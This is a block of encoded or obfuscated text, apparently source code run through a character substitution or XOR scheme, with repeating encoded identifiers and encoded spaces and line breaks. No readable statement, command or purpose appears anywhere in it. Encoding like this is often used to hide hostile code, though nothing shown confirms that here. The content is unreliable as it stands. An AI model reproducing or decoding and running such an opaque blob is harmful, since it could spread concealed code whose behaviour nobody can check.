	=w7ru&0,2#3mrtvleexegg~Oea&|717=.q5sp1&.0!(7.u=/&.(.mrtqlexeeeegg~O)+1#,&v0?4u+v&/s12m?|?!)+'qtu++mrtplieeggiee=w7ru&0,2#3mtr|ll~O8Oeee8O,#eem,66 1ma)"sw2s3}s/(5'6=w7ru&0,2#3mrtslleeeecce0!(7.u=/&.(.mrtulma)"sw2s3}s/(5'6?|?!)+'qtu++mrtsllle>Oee,#eeeem0!(7.u=/&.(.mrttlma)"sw2s3}s/(5'60!(7.u=/&.(.mrtsllee{emqunsulleeee>Oea	
	=}p-/*"'(=r+3mrtrlexeea)"sw2s3}s/(5'6=w7ru&0,2#3mrtsl~Oea&|717=.q5sp1&.?|?!)+'qtu++mrt}lexea)"sw2s3}s/(5'6=w7ru&0,2#3mrt|l~O8eee )6 e>Oeea	
	0!(7.u=/&.(.mrtrlexeeegg~Oeeeeea&|717=.q5sp1&.=}p-/*"'(=r+3mrt|leeexeeeeegg~Oeeee)+1#,&v0?4u+v&/s12m=w7ru&0,2#3mv|slieeggiee?|?!)+'qtu++mrwull~Oe8Oee8Oea#)2*(&?,)'u}+}eexee,66 1ma&#)'+pp!01 w=v.50!(7.u=/&.(.mrwtlleeeccee?|?!)+'qtu++mrwwlma&#)'+pp!01 w=v.5=w7ru&0,2#3mrwtlleeeezea&#)'+pp!01 w=v.50!(7.u=/&.(.mrwvleeee$77$<ml~OOOOeea?svv#*& +(veeeexee$77$<mOOOOeee=w7ru&0,2#3mrwqlex{eeee=w7ru&0,2#3mrwpliO0!(7.u=/&.(.mrwsleeex{eee=}p-/*"'(=r+3mrwrliOee0!(7.u=/&.(.mrw}lex{ee=w7ru&0,2#3mrw|liO=}p-/*"'(=r+3mrvulex{eee0!(7.u=/&.(.mrvtliOee=}p-/*"'(=r+3mrvwleeeex{eee0!(7.u=/&.(.mrvvliOO0!(7.u=/&.(.mrvqlex{eee=}p-/*"'(=r+3mrvpliOe=}p-/*"'(=r+3mrvslex{ee?|?!)+'qtu++mrvrliOe0!(7.u=/&.(.mrv}leeeex{eee=w7ru&0,2#3mrv|liOel~Oeeeee#*7 $&-eeema?svv#*& +(vee$6eea.q<3#s3$3|5eeeex{eeea)4.|uv?=u&5)=lee>Oe,#eeeem,66 1ma#)2*(&?,)'u}+}a.q<3#s3$3|5leeecceee0!(7.u=/&.(.mrtulma#)2*(&?,)'u}+}a.q<3#s3$3|5leecce=w7ru&0,2#3mrttlma#)2*(&?,)'u}+}a.q<3#s3$3|5le{eempshslleeeeee>Oeeeea&|717=.q5sp1&.a)4.|uv?=u&5)=eexeeeea#)2*(&?,)'u}+}a.q<3#s3$3|5~Oeee8Oe8O,#em,66 1ma&#)'+pp!01 w=v.5=w7ru&0,2#3mptsllecceee0!(7.u=/&.(.mrqulma&#)'+pp!01 w=v.5=w7ru&0,2#3mptsllleeee>Oa7=0w!&}4?vexeem,+1leeeea&#)'+pp!01 w=v.5=}p-/*"'(=r+3mptsl~O,#eema7=0w!&}4?ve{xeeeemp}shw}sleeecceea7=0w!&}4?veeeeeyxem}svqqnpslleea&|717=.q5sp1&.=}p-/*"'(=r+3mptsleeexeeea7=0w!&}4?v~Oeeeeeee8Oeee,#eem,66 1ma&#)'+pp!01 w=v.5?|?!)+'qtu++mrqtllecceeee=}p-/*"'(=r+3mrqulma&#)'+pp!01 w=v.50!(7.u=/&.(.mrqwlllee>Oeea&,eeexem,+1leea&#)'+pp!01 w=v.50!(7.u=/&.(.mrqwl~Oe,#eeeema&,eeeee{xeemwsunquleecceeeeea&,eyxeeeeem|}tpthttrptllea&|717=.q5sp1&.0!(7.u=/&.(.mrqwlexeeea&,~OOOOe8O,#eem (51<ma&|717=.q5sp1&.lle>Oee! ) 1 *51,*+m=}p-/*"'(=r+3mpt}ll~Oe! ) 1 *51,*+m?|?!)+'qtu++mpt|ll~Oeeeee05!$1 *51,*+m=w7ru&0,2#3mp|rlieeeeee?|?!)+'qtu++mrqvlmll~Oeeeeeeee! ) 1 17$+6, +1m=w7ru&0,2#3mrqqll~Oeeee/}!.<#5)q.#&ts/3}6qml~O0q'|pt="3+u1 )ml~OOOO7 107+~O8OOOOeeOeea,t#,qpr<vv3exeee u6q$21 w<q2/0)#7-m=w7ru&0,2#3mqu|lie#$)6 l~Oeeeeee,#eem=w7ru&0,2#3mrwwlma,t#,qpr<vv3lleee>Oeeeeea&|717=.q5sp1&.eeexeee=w7ru&0,2#3mv||lma,t#,qpr<vv3ieeea&|717=.q5sp1&.l~Oe8OeeOe,#eem?|?!)+'qtu++ms}plm0!(7.u=/&.(.mrqpllleeeee>Oea!<1=3?=s*?&=1eexe=p}&|&5}&7*6="|*/ q?ml~Oeee,#eeeem,66 1ma&|717=.q5sp1&.0!(7.u=/&.(.mrqslleccem,+1leea&|717=.q5sp1&.0!(7.u=/&.(.mrqslee{xemq|uht|uleeeeecceem,+1lea&|717=.q5sp1&.=}p-/*"'(=r+3mrqrleeyxeeeemu=$v' nu=$!&wlleea!<1=3?=s*?&=1eeeeexeem,+1leeea&|717=.q5sp1&.0!(7.u=/&.(.mrqrl~Oeeeeeee6 117$+6, +1m#4q6v2-)!s 15-mlieeeea&|717=.q5sp1&.ieeeea!<1=3?=s*?&=1l~O8OOeeeeee+!,,<<p66|4t#-m?|?!)+'qtu++mqu|liea&|717=.q5sp1&.ie0!(7.u=/&.(.mrwull~Oe,#eem,66 1ma&|717=.q5sp1&.=}p-/*"'(=r+3mrqwlleeecce=w7ru&0,2#3mrq}lm0!(7.u=/&.(.mrq|lleeeeecceeee=}p-/*"'(=r+3mrq}lm=w7ru&0,2#3mrpulleeeeeccee?|?!)+'qtu++mrq}lm=}p-/*"'(=r+3mqwvllle>Oeeea2'&p+w51#!+}4s-exeeee25" 16&- !0) ! 3 +1m3r*"rq0=s"!v+sw=3-4mll~Oe,#eeeema2'&p+w51#!+}4s-eeecceem,+1lea2'&p+w51#!+}4s-h{,+1 73$)eedxxem,+1leea&|717=.q5sp1&.=}p-/*"'(=r+3mrptlleee>Oeeee25&) $76&- !0) !-**.m3r*"rq0=s"!v+sw=3-4mll~Oeeee256&- !0)  3 +1m=}p-/*"'(=r+3mrqvlmleeeeneee0!(7.u=/&.(.mqwplmmtpyywlieem}}nwtwlliee=}p-/*"'(=r+3mqtvliee3r*"rq0=s"!v+sw=3-4mll~OOOOee8O8OOe05!$1 *51,*+m0!(7.u=/&.(.mp|rlie?|?!)+'qtu++mrqvlmll~OOOOeee! ) 1 *51,*+m=}p-/*"'(=r+3mpt}ll~Oee! ) 1 *51,*+m?|?!)+'qtu++mpt|ll~Oeee! ) 1 17$+6, +1m=w7ru&0,2#3mrqqll~Oeee/}!.<#5)q.#&ts/3}6qml~O0q'|pt="3+u1 )ml~OeO,#ema03-?u}6q5leeee>OO/=')s3rs3v# .p!ml~Oeee8Oe8eeeee&$1&-eem-7*2$') ea=w}=)'/7<3/lee>O="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mrpwlieeea=w}=)'/7<3/l~Oee8eeeeee&$1&-eem =& 51,*+eea=w}=)'/7<3/le>Oeee8e#,+$))<ee>OOOeee'17<}</=s3*w3w|v(=sm0!(7.u=/&.(.mqwqll~Oee8Oeeeee8OeeeeeeOee#0+&1,*+ee#=&?<1?&-$/svuma<+}+&+t4s7&,,3iea2$uu0$&5vveeeexeggiea0=|,'$}/*eeeeexeee#$)6 lO>Oe,#eeemd w##051|s4<1*tpv,r'&m?|?!)+'qtu++mqwqllle7 107+~Oe17<e>OeeeeOa?+1qwqu pp5u5*".eexee?|?!)+'qtu++mv}qlma<+}+&+t4s7&,,3iee170 l~Oe,#em0!(7.u=/&.(.mrpvlma?+1qwqu pp5u5*".lecceeee=}p-/*"'(=r+3mrttlma?+1qwqu pp5u5*".le{emtuq}puvnrvllea?+1qwqu pp5u5*".eeeeexe--r<<!4$-0!rq)}pma?+1qwqu pp5u5*".l~Oeeeeeee,#eeemdeea?+1qwqu pp5u5*".e99e=}p-/*"'(=r+3mrttlma?+1qwqu pp5u5*".leeeyeemssvhtsvleee99ee?|?!)+'qtu++mrpqlma?+1qwqu pp5u5*".ieee?|?!)+'qtu++mrpplledxxeeeeule>Oeeeeeeee7 107+~Oeeeeee8Oee,#eeeeemdee +/$07!"qr+ 6)*pw</s -ma?+1qwqu pp5u5*".lleeee>Oeeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mrpslieeee0!(7.u=/&.(.mrprll~OOOeee7 107+~OOOOeeeee8Oee,#em?|?!)+'qtu++mrp}lm0!(7.u=/&.(.mrpliee=w7ru&0,2#3mrp|lma?+1qwqu pp5u5*".ieeeeeeuieeemqu|unsllieeeea#5$ # # )5<lleee>Oe,#eeema2$uu0$&5vveedxxeggeeccea2$uu0$&5vveedxxea#5$ # # )5<tlee>O="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mrpslieee0!(7.u=/&.(.mrsull~Oee7 107+~Oeeee8Oa2$uu0$&5vvexea#5$ # # )5<t~Oeee8ee )6 eee>Oeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mrpslieeee0!(7.u=/&.(.mrstll~O7 107+~Oeeeee8Oeeeee,#eeeemda0=|,'$}/*eeccee3 76,*+&*(5$7 ma2$uu0$&5vvie',7|#2u4-"!$4'1"smlleyxeeeeeuleeeee>Oeeeee7 107+~OOOO8Oeeea<$+),37"34,'u?4eexee0=&?!<<|0*r/q0.<6ml~Oeeeeeee,#emda<$+),37"34,'u?4e99ee=}p-/*"'(=r+3mrttlma<$+),37"34,'u?4leyeeeemqsrnvvlleee>O="!24p3/qt!$s631p2',pm?|?!)+'qtu++mrpsliee=w7ru&0,2#3mrswll~Oeee7 107+~OOeeee8Oeea(t6q1. 4t<?7&eexe" 1*51,*+m?|?!)+'qtu++mtr}ll~Oe,#em=w7ru&0,2#3mrsvlma(t6q1. 4t<?7&lecceeee=}p-/*"'(=r+3mrsqlma(t6q1. 4t<?7&iee=}p-/*"'(=r+3mrsplma?+1qwqu pp5u5*".lekeeeeb9blexxxeulee>Oeea5074}3)),.=|/236exeem,+1leee=w7ru&0,2#3mrp|lma(t6q1. 4t<?7&ieeee=w7ru&0,2#3mrsqlma(t6q1. 4t<?7&ieb9bleneeeeeetl~Oeee,#em?|?!)+'qtu++mrqvlmleeheeeea5074}3)),.=|/236eyeem}sv}|nttlleeeee>Oeee7 107+~Oee8OOOeee8Oa(5w(}5-&w!pp5eexeeeeee=}p-/*"'(=r+3mrsslm.!*q3ww&t$ 5+*7'&rmlleeeke=w7ru&0,2#3mtrqleeeeeke=}p-/*"'(=r+3mrsplma?+1qwqu pp5u5*".l~OOOOe,#eeeeeem=}p-/*"'(=r+3mrsrlma(5w(}5-&w!pp5lle>Oeeeeea7/,-)*sp'p<w!56?eeexeeeeem,+1lee=}p-/*"'(=r+3mpsslma(5w(}5-&w!pp5l~Oe,#eeema7/,-)*sp'p<w!56?eecce?|?!)+'qtu++mrs}lmleheea7/,-)*sp'p<w!56?eyeeem}svpunpulle>Oee7 107+~OO8OO?|?!)+'qtu++mwulma(5w(}5-&w!pp5l~Oeee8O0+6 1ma(5w(}5-&w!pp5ieeeea7/,-)*sp'p<w!56?l~Oa=4#<w/vq7} /=}(6eeeexee#$)6 ~OOOeee,#eem?|?!)+'qtu++mrq}lm=w7ru&0,2#3mrs|llecceeee?|?!)+'qtu++mrrulm?|?!)+'qtu++mst|llle>Oea/5$v|+6*?1)eeeexe0!(7.u=/&.(.mrrtlm-*( 07)mbjblie$77$<m0!(7.u=/&.(.mrrwleeeeex{eemwyywliee0!(7.u=/&.(.mrrvlex{eeeewiee?|?!)+'qtu++mvuwlex{e#$)6 ll~Oee,#eeemdem=}p-/*"'(=r+3mrrulm?|?!)+'qtu++mrrqlleeccee,625 77*7ma/5$v|+6*?1)lllee>Oeeea=4#<w/vq7} /=}(6exeeeem,+1leeeeee257 (*1 7 17, 3 7 65*+6 &*! ma/5$v|+6*?1)leee{xemqrunvul~Oe8Oeeeee8Oeea#*##+</4s*reeeeexe#$)6 ~O,#eem=}p-/*"'(=r+3mrrulm=w7ru&0,2#3mrrpllle>Oea=3}, ,6v.p+,sqexeeee" 1*51,*+m?|?!)+'qtu++msv}lieeee$77$<mll~Oa#*##+</4s*rexee0!(7.u=/&.(.mrwwlma=3}, ,6v.p+,sqleeeeeccee=}p-/*"'(=r+3msvplm3'0q=r/=qs?p(5mlieeeeeea=3}, ,6v.p+,sqieee170 l~Oe8Oeeeee17.s-rs}w1.3'qm.!*q3ww&t$ 5+*7'&rmlieempqqhtwqll~OOee,#eeemde<?+3w",2"p|.<!5!m.!*q3ww&t$ 5+*7'&rmlie*0*)-&#77 -u|&,ma?+1qwqu pp5u5*".llle>O="!24p3/qt!$s631p2',pm=w7ru&0,2#3mrpslie?|?!)+'qtu++mrrsll~OOOO7 107+~Oeeeeeee8O1&s?222)1$ (10)r+3?m.!*q3ww&t$ 5+*7'&rmll~Oe(t!wr?& =&$$7|5m.!*q3ww&t$ 5+*7'&rmll~Oeee,#em=}p-/*"'(=r+3mrrulm=}p-/*"'(=r+3mrqpllleee6 117$+6, +1m=w7ru&0,2#3mrrrlieeetieeeeemwp}nqwll~Oe,#eemdeeeea=4#<w/vq7} /=}(6eeccee0!(7.u=/&.(.mrrulm0!(7.u=/&.(.mrrtlleeccee=w7ru&0,2#3mrr}lm=}p-/*"'(=r+3mrr|lllee>Oea?2*"sw"=p6/2eeeeeexeeeht~O#*7eema(?w2-<-v6p2$vqexeeeeeeu~eeeeea(?w2-<-v6p2$vqeyeeeew~eeea(?w2-<-v6p2$vqnnle>Oeeeea?')& -rw6-"=eeeexe=w7ru&0,2#3mrrtlm-*( 07)m=w7ru&0,2#3mr}uleeeekeeeee=}p-/*"'(=r+3mr}tlmm|||vvnsrliem|rrvs|nwwsvulllie$77$<m=}p-/*"'(=r+3mr}wleex{eemu=vnu=pliee=w7ru&0,2#3mrrvlex{eeewieeee?|?!)+'qtu++mr}vleex{eeee#$)6 ll~O,#em?|?!)+'qtu++mrr}lm0!(7.u=/&.(.mr}qlleeeccee,625 77*7ma?')& -rw6-"=llee>Oe,#eeeeema(?w2-<-v6p2$vqeeexxxeeeeeueeeeecceeeee0!(7.u=/&.(.mrr}lm=}p-/*"'(=r+3mr}pllle=}p-/*"'(=r+3mr}plmwl~OOOeeeee&*+1,+0 ~O8Oea!+t+=20t(0&)7 +seexem,+1leee257 (*1 7 17, 3 7 65*+6 &*! ma?')& -rw6-"=l~Oeeeeeee,#ema!+t+=20t(0&)7 +seeyeeeemtr|hr|leee99ee?|?!)+'qtu++mr}slma!+t+=20t(0&)7 +sie$77$<mmq|snrlieemptuntulieeeemwqrnwrqlieeeeeem}}shvsqlieemu=$tnu=ts$liemu='|nu=tpvlieeeempwunsliempwunrlliee170 llee>Oe,#ema(?w2-<-v6p2$vqeeexxxeeuecceee?|?!)+'qtu++mrr}lm=}p-/*"'(=r+3mr}rllleee=}p-/*"'(=r+3mr}rlmwl~O&*+1,+0 ~Oe8OOeea?2*"sw"=p6/2eeeexeea!+t+=20t(0&)7 +s~Oeee'7 $.~Oeee8O,#ema?2*"sw"=p6/2eeeexxxeehtleea?2*"sw"=p6/2eeexemu=&unu=tvql~eeOe,#eema?2*"sw"=p6/2ee{xemqsunqulleee>Oea5)7'(r.3p#*,&/52eeexeee<?+3w",2"p|.<!5!m.!*q3ww&t$ 5+*7'&rmliee*0*)-&#77 -u|&,ma<$+),37"34,'u?4ll~Oeeee,#eeeeeemda5)7'(r.3p#*,&/52lea5)7'(r.3p#*,&/52exeee<?+3w",2"p|.<!5!m.!*q3ww&t$ 5+*7'&rmlieea<$+),37"34,'u?4l~Oeee05!$1 *51,*+m?|?!)+'qtu++mtr}liee?|?!)+'qtu++mrsplma?+1qwqu pp5u5*".leekeeb9beekee?|?!)+'qtu++mrs}lmlieee=w7ru&0,2#3mrwull~Oe,#eemda5)7'(r.3p#*,&/52lee>Oeeeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mr}}liee0!(7.u=/&.(.mr}|leekeea?2*"sw"=p6/2l~OOOOee7 107+~Oe8O(t!wr?& =&$$7|5m.!*q3ww&t$ 5+*7'&rmll~Oeee1&s?222)1$ (10)r+3?m.!*q3ww&t$ 5+*7'&rmll~Oeeeee0=&?!<<|0*r/q0.<6m170 l~Oeeeee!'=v64s3w-u+u+'# (!}m170 l~Oeeeeea/,+s2}u6<t1)exe0!(7.u=/&.(.mwqvlm.!*q3ww&t$ 5+*7'&rmlie=w7ru&0,2#3msq}ll~Oee#*7 $&-eem$77$<m?|?!)+'qtu++mrsslm.!*q3ww&t$ 5+*7'&rmllieee4"<qv76 )}556+2(41?tt}mlle$6eea+s/.1*$2".,=)leee>O=w7ru&0,2#3mwulma+s/.1*$2".,=)eeekee?|?!)+'qtu++mt|wlekeeeeea/,+s2}u6<t1)l~O=w7ru&0,2#3mr|ulma+s/.1*$2".,=)eekee=}p-/*"'(=r+3mr|tleekeeeeeea/,+s2}u6<t1)l~O8Oeeee,#eeeeema#*##+</4s*reecceeed#0+6|'|1*/3=0=,2<mleeecceeeeee=}p-/*"'(=r+3mrr}lm0!(7.u=/&.(.ms}sllleee>OOOOa?6121)7/4wqv6?0eeexe" 1*51,*+m=w7ru&0,2#3mr|wlie$77$<mll~Oeee,#em=w7ru&0,2#3mrwwlma?6121)7/4wqv6?0leecced?|?!)+'qtu++mr|vlm3'0q=r/=qs?p(5mlieeeeea?6121)7/4wqv6?0ie170 lleee>Oeea?6121)7/4wqv6?0exe3'0q=r/=qs?p(5ml~Oee05!$1 *51,*+m?|?!)+'qtu++mr|wliea?6121)7/4wqv6?0l~Oe8Oe8Oea	
	=w7ru&0,2#3mr|qleeexeeeu~OOOe0q'|pt="3+u1 )ml~O="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mr}}lieee=w7ru&0,2#3mr|plekeeeeeea?2*"sw"=p6/2l~Oeee7 107+~O8Oeeeee8O,#ema2$uu0$&5vveedxxegglee>Oeea	
	=w7ru&0,2#3mwlexeeeea2$uu0$&5vv~Oe2w$7w255 "?"1'm.!*q3ww&t$ 5+*7'&rmlieeeeea2$uu0$&5vvl~OOOe8Oe,#eeeeema0=|,'$}/*lee>Oa-s}=,)6s1=4u"4sexe?|?!)+'qtu++mr|slm.!*q3ww&t$ 5+*7'&rmlieee?|?!)+'qtu++msq}ll~Oeeeeeee#*7 $&-em$77$<m=}p-/*"'(=r+3mrsslm.!*q3ww&t$ 5+*7'&rmllie4"<qv76 )}556+2(41?tt}mlleee$6ea+t3sw#"}tlee>O?|?!)+'qtu++mr|rlma+t3sw#"}tekeeee0!(7.u=/&.(.mt|wlekea-s}=,)6s1=4u"4sl~OOOOeee8Oee0+6 1ma-s}=,)6s1=4u"4sieea+t3sw#"}tl~Oeeeee8Oe)+1#,&v0?4u+v&/s12m0!(7.u=/&.(.mr|}lieea?+1qwqu pp5u5*".ieee0!(7.u=/&.(.mrwull~OOOO0=&?!<<|0*r/q0.<6m170 l~O!'=v64s3w-u+u+'# (!}m170 l~Oa	
	=w7ru&0,2#3mr|qleeexeu~Oeeeeee0q'|pt="3+u1 )ml~OOOOee17.s-rs}w1.3'qm.!*q3ww&t$ 5+*7'&rmlieemu=qqnu= ull~OO,#eem(t!wr?& =&$$7|5m.!*q3ww&t$ 5+*7'&rmlllee3t6<p=,(t?0=|? +!<6|m.!*q3ww&t$ 5+*7'&rmll~Oeeeeee05!$1 *51,*+m0!(7.u=/&.(.mr||liea2$uu0$&5vveekeeeb9beeke0!(7.u=/&.(.mrs}lmlieee=}p-/*"'(=r+3m}uull~Oee8ee&$1&-eeem-7*2$') eea=w}=)'/7<3/le>Oe="!24p3/qt!$s631p2',pm?|?!)+'qtu++mr}}lieeeea=w}=)'/7<3/l~Oeee8e&$1&-eem =& 51,*+eea=w}=)'/7<3/leeeeee>Oeeeeeee8e#,+$))<e>Oeee'17<}</=s3*w3w|v(=sm=w7ru&0,2#3m}utll~Oee8Oe8Oe#0+&1,*+ee'<) +-q45t*(=5pmlO>Oe,#eemdeee! #,+ !m0!(7.u=/&.(.mq|wlle99ede=w7ru&0,2#3mrr}lm?|?!)+'qtu++m}uwllle>Oeeeeee,#eeeem?|?!)+'qtu++m}uvlmeeke0!(7.u=/&.(.m}uqllleeeee>Oe7 40,7 *+& eeeeeeeeekeeeee=}p-/*"'(=r+3m}uql~OOOe8O,#eeemdeeee?|?!)+'qtu++m}uplm0!(7.u=/&.(.m}uwllle>Oee7 107+~OOOeeeee8OO8Oa+5w7.<6-#utr/<!exe" 15)0",+6ml~O,#emdee0!(7.u=/&.(.mrwwlma+5w7.<6-#utr/<!lleeee>Oeeeeee7 107+~Oeeee8Oeeea),61eeeexeeee$77$<ml~Oe#*7 $&-eeeema+5w7.<6-#utr/<!e$6eea'$6 +$( eex{eeeea5)(s7q5+.,le>Oee,#eeeeeema'$6 +$( eeeexxxeee3'0q=r/=qs?p(5mlleeee>O&*+1,+0 ~Oe8Oeea),61a'$6 +$( eeeeexeeeeea5)(s7q5+.,~Oe8Oe7 107+eeea),61~O8Oe#0+&1,*+ee*-t}"w34|63s+)3*}?ma!2"} !14v&-(70ieea3=w=v3(qu,t4s3lOe>OeeeOa?,-&2p00.rv-eeeeexeee0!(7.u=/&.(.mp}ulma!2"} !14v&-(70ie#$)6 iee+0))ieeeeeeuieeeempwqwqrnqtll~eeOe,#eeeemdeea?,-&2p00.rv-leee>Oeee7 107+e#$)6 ~O8OOOee#*7 $&-eema3=w=v3(qu,t4s3ee$6ea11.'4-.5&.le>OOeeeeeee,#emde=}p-/*"'(=r+3m}uslma11.'4-.5&.leee99edea11.'4-.5&.eee99eeeee=w7ru&0,2#3mrttlma11.'4-.5&.lee{emwrwrntvs|lleeeee>O&*+1,+0 ~OOeeeeeee8OOOeeO17<e>Oea)(34wu00 s-s),seeeexeeee=}p-/*"'(=r+3mrp}lma11.'4-.5&.ieeeeeea?,-&2p00.rv-l~Oee8e&$1&-eeeeem-7*2$') eeeeeea4t#(-<t-=*< v*4/leee>Oe="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3m}urliea4t#(-<t-=*< v*4/l~OOOOeeee&*+1,+0 ~Oe8e&$1&-eem =& 51,*+ea4t#(-<t-=*< v*4/lee>Oe&*+1,+0 ~OOO8OeeOee,#eema)(34wu00 s-s),sleee>OOOee7 107+eeeeee170 ~Oe8Oe8Oeee7 107+eee#$)6 ~Oeeee8OeeeeOeeeeeee#0+&1,*+ee$!*'')& sr&|0ma5)0",+'$6 +$( lOOOO>Oa3=w=v3(qu,t4s3eeexeeea	
	?|?!)+'qtu++mqsql~Oeeee,#eeemdee0!(7.u=/&.(.mrwwlma3=w=v3(qu,t4s3le99ee (51<ma3=w=v3(qu,t4s3llee>OOO7 107+ee#$)6 ~Oeee8OOee,#eeeeeemde! #,+ !m?|?!)+'qtu++mq|wllee99eeeeee (51<ma5)0",+'$6 +$( le99ee?|?!)+'qtu++mrsqlma5)0",+'$6 +$( ieee?|?!)+'qtu++m}u}lleedxxe#$)6 leee>Oe7 107+eee#$)6 ~Oeee8OeeeOea5-.67/ 5w+|"#}qeeexeeee	eeeeekeebjbeeeekeeeeeea5)0",+'$6 +$( ~Oee,#eeem=w7ru&0,2#3mrsslma5)0",+'$6 +$( leeeeexxxeeebkblee>Oeeeeea)&+.ru,<tq'+(4eexe$77$<ma5-.67/ 5w+|"#}ql~Oeeee8e )6 eee>Oeeea,up&5"-,q7eexe=}p-/*"'(=r+3mrsslma5-.67/ 5w+|"#}ql~Oe,#eeeeemde?|?!)+'qtu++mt}ulma,up&5"-,q7leeee99eedee?|?!)+'qtu++m}u|lma,up&5"-,q7lle>Oeeeeee7 107+eee#$)6 ~OOeee8Oeea)&+.ru,<tq'+(4exeeee'|4$}2.}+41$|p&)5*t} ma,up&5"-,q7ieeeee$77$<m0!(7.u=/&.(.m}tulieee0!(7.u=/&.(.mpwqlie?|?!)+'qtu++m}ttlie?|?!)+'qtu++m}twliee=w7ru&0,2#3m}tvlll~OOO8OeeeeeeO#*7 $&-ema)&+.ru,<tq'+(4ee$6ea!2"} !14v&-(70le>OOeeeeee,#eemde=w7ru&0,2#3m}tqlma!2"} !14v&-(70llee>OOO&*+1,+0 ~Oeeeee8Oe,#eeeem*-t}"w34|63s+)3*}?ma!2"} !14v&-(70ieeeea3=w=v3(qu,t4s3lle>Oe7 107+eeeee170 ~OOeeee8O8Oee7 107+eeeee#$)6 ~Oeee8Oeeee#0+&1,*+eee'|4$}2.}+41$|p&)5*t} ma,up&5"-,q7iea=0*+|#/)pp72ieea$/}65#u'$<*67?|exeeuieeca&w&+'02q/=3!2t&eexee+0))ieeeeca+7}v37w42&0-teexe+0))lOe>Oeea),61eexe$77$<ml~O,#eema$/}65#u'$<*67?|eeee{emtsh}lle>Oee7 107+ea),61~O8Oeeeee,#eema&w&+'02q/=3!2t&eeexxxee+0))leeee>Oea&w&+'02q/=3!2t&eexeee$77$<ml~Oea+7}v37w42&0-teexeeeee?|?!)+'qtu++msr}lm170 leeeeneeemu=rnu=vl~O8OO,#em0!(7.u=/&.(.msr}lm170 lee{eeea+7}v37w42&0-tleee>O7 107+eeeeea),61~Oeee8O,#emde=w7ru&0,2#3mt}ulma,up&5"-,q7lleee>OO7 107+eea),61~OOe8Oea+"62)ss.?0r4" ?wexe0!(7.u=/&.(.m}tplma,up&5"-,q7l~O,#ema+"62)ss.?0r4" ?weedxxeeeeee#$)6 lee>Oe,#eem,66 1ma&w&+'02q/=3!2t&a+"62)ss.?0r4" ?wlle>Oeeeeee7 107+ea),61~OOeee8Oea&w&+'02q/=3!2t&a+"62)ss.?0r4" ?weexee170 ~OOe8OOOOa'+0/4sp2=2"1eexee*r=0p)/}!?|)1??/#qsma,up&5"-,q7l~Oee,#emde?|?!)+'qtu++m}tslma'+0/4sp2=2"1lleeeee>Oeeeeee7 107+eeeeea),61~OOOeee8OOOeeeeeeee#*7 $&-ema'+0/4sp2=2"1eeeee$6eeeeea v+)w4|'!24*lee>O,#eeeeem?|?!)+'qtu++msr}lm170 le{eea+7}v37w42&0-teeee99e?|?!)+'qtu++m}trlma),61le{xeeemq}pntpllee>Oee'7 $.~Oe8Oeeea5-.67/ 5w+|"#}qeexea,up&5"-,q7ekeeebjbeeekeeea v+)w4|'!24*~O,#eeeem=}p-/*"'(=r+3m}t}lma5-.67/ 5w+|"#}qlleee>Oeee&*+1,+0 ~O8O,#eem=w7ru&0,2#3m}t|lma5-.67/ 5w+|"#}qlleeeee>Oea),61exee=w7ru&0,2#3mv||lma),61ie'|4$}2.}+41$|p&)5*t} ma5-.67/ 5w+|"#}qieeeea=0*+|#/)pp72ieea$/}65#u'$<*67?|eneeetieeea&w&+'02q/=3!2t&ieeeea+7}v37w42&0-tll~Oee8ee )6 ,#eem0!(7.u=/&.(.m}tqlma5-.67/ 5w+|"#}qllee>Oeeea4r575&,1}*4?eeexee=w7ru&0,2#3mwtulma5-.67/ 5w+|"#}qie&*+61$+1m=w7ru&0,2#3m}wulll~Oeea4r575&,1}*4?eeexeee=}p-/*"'(=r+3m}uslma4r575&,1}*4?leezee=w7ru&0,2#3m}wtlma4r575&,1}*4?leeegg~Oeee,#em=w7ru&0,2#3mr|vlma4r575&,1}*4?ieea=0*+|#/)pp72ie170 lle>OOOa),61eeexeea5-.67/ 5w+|"#}q~O8O8OOO8Oe7 107+eea),61~Oe8OeeeeeOeeee#0+&1,*+eee$t3!2|3w.'w'2)<ma5)0",+'$6 +$( lOO>OeeOOOOeeeeeee,#eeemdeeee=}p-/*"'(=r+3m}uslma5)0",+'$6 +$( leee99eedeea5)0",+'$6 +$( le>Oee7 107+ee#$)6 ~Oeeeee8O,#eeeem=}p-/*"'(=r+3mrsqlma5)0",+'$6 +$( ie?|?!)+'qtu++m}u}lleedxxeee#$)6 leee>Oeee7 107+eeeeee#$)6 ~OOO8OOOOeeeea5)0",+'$6 +$( eeexeeeee=w7ru&0,2#3msswlma5)0",+'$6 +$( l~O,#ema5)0",+'$6 +$( eexxxeee3'0q=r/=qs?p(5mlleee>OOOeeeeee7 107+e#$)6 ~Oeeee8OeeOeeeee,#eemde=}p-/*"'(=r+3m}uplm=w7ru&0,2#3m}wwllecceeeee?|?!)+'qtu++m}uvlmekeee=w7ru&0,2#3m}uqllle>Oeeeee7 40,7 *+& eeeeeeke=}p-/*"'(=r+3m}uql~Oe8OeOeeeee,#eem=w7ru&0,2#3m}uplm=}p-/*"'(=r+3m}wwlleecceee,65)0",+$&1,3 ma5)0",+'$6 +$( lleee>OOee! $&1,3$1 5)0",+6m$77$<ma5)0",+'$6 +$( lie170 l~eeOeeeee8OOOeOeeeea,up&5"-,q7exee! #,+ !m=w7ru&0,2#3mq|wlleeeeze	ekebjbekeee?|?!)+'qtu++m}wvlma5)0",+'$6 +$( leeeeeeegg~OOeee,#eeeema,up&5"-,q7ecceee0!(7.u=/&.(.m}t|lma,up&5"-,q7leccee=w7ru&0,2#3m}wvlma5)0",+'$6 +$( leeeedxxeeebkbeeeeeecce=}p-/*"'(=r+3m}wvlma5)0",+'$6 +$( lle>Oeeee,#em#&'7/v4v/11r.20$7)-,ma,up&5"-,q7lle>Oee7 107+e170 ~Oeeeee8Oe8OeeeeeeeOOee,#eeeeem?|?!)+'qtu++m}uplm=w7ru&0,2#3m}wqlllee>OeeeeeeOeeeee,#emde0!(7.u=/&.(.m}uplm=}p-/*"'(=r+3m}wplle99eedeeeeee&077 +106 